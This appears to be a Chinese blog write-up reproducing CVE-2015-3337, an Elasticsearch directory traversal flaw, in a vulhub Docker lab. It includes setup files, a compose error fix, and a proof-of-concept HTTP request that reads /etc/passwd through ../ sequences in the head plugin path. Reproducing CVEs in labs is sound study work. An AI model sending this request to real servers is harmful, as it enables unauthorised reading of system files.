【漏洞复现】CVE-2015-3337 Arbitrary File Reading

漏洞信息

NVD - CVE-2015-3337

Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.

在安装了具有"site"功能的插件以后,插件目录使用.../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

背景介绍

Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.

主页:https://www.elastic.co/elasticsearch

源码:https://github.com/elastic/elasticsearch

环境搭建

Dockerfile

dockerfile 复制代码
FROM vulhub/elasticsearch:1.4.4

LABEL maintainer="phithon <[email protected]>"

RUN set -ex \
    && plugin -install mobz/elasticsearch-head

docker-compose.yaml

yaml 复制代码
version: '2'
services:
 es:
   build: .
   ports:
    - "9200:9200"
    - "9300:9300"

使用Docker Compose构建和启动环境:

sh 复制代码
$ docker-compose up -d

Debug:

sh 复制代码
ERROR: for es  'ContainerConfig'
Traceback (most recent call last):
  File "bin/docker-compose", line 3, in <module>
  File "compose/cli/main.py", line 67, in main
  File "compose/cli/main.py", line 126, in perform_command
  File "compose/cli/main.py", line 1070, in up
  File "compose/cli/main.py", line 1066, in up
  File "compose/project.py", line 648, in up
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/project.py", line 634, in do
  File "compose/service.py", line 579, in execute_convergence_plan
  File "compose/service.py", line 501, in _execute_convergence_recreate
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/service.py", line 494, in recreate
  File "compose/service.py", line 613, in recreate_container
  File "compose/service.py", line 332, in create_container
  File "compose/service.py", line 917, in _get_container_create_options
  File "compose/service.py", line 957, in _build_container_volume_options
  File "compose/service.py", line 1532, in merge_volume_bindings
  File "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose

# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build

漏洞复现

参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337

测试环境默认安装了一个插件:elasticsearch-head,head插件提供了Elasticsearch的前端页面,访问http://127.0.0.1:9200/_plugin/head/即可看到:

但是这就无意间带来了问题------目录越级遍历,漏洞利用和原理都很简单,直接访问http://127.0.0.1:9200/plugin/head/.../.../.../.../.../.../.../.../.../etc/passwd即可:

POC:

http 复制代码
GET /_plugin/head/../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:9200
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
相关推荐
CoderJia程序员甲14 分钟前
系统分析师知识点:访问控制模型OBAC、RBAC、TBAC与ABAC的对比与应用
网络安全·访问控制·技术选型·系统分析师
berryyan3 小时前
在 macOS 上升级 OpenWebUI 及配置 MySQL 的记录
docker·容器
Andy3223 小时前
029 期 告别复杂!三款神器让你的Docker管理轻松又高效
docker·github
Haku Coder5 小时前
网络安全零基础培训 L1-3 Kali命令基础
安全·web安全·网络安全
Ai 编码助手5 小时前
Elasticsearch插件:IDEA中的Elasticsearch开发利器
elasticsearch·jenkins·intellij-idea
真的睡不醒ovo9 小时前
elasticsearch中文分词器插件下载教程
大数据·elasticsearch·中文分词
极小狐14 小时前
极狐GitLab 项目 API 的速率限制如何设置?
大数据·运维·git·elasticsearch·gitlab
残月只会敲键盘14 小时前
Git 命令速查手册
大数据·git·elasticsearch
rider18917 小时前
【1】CICD持续集成-docker本地搭建gitlab代码仓库社区版
ci/cd·docker·gitlab
时迁24717 小时前
基于Docker+k8s集群的web应用部署与监控
运维·docker·kubernetes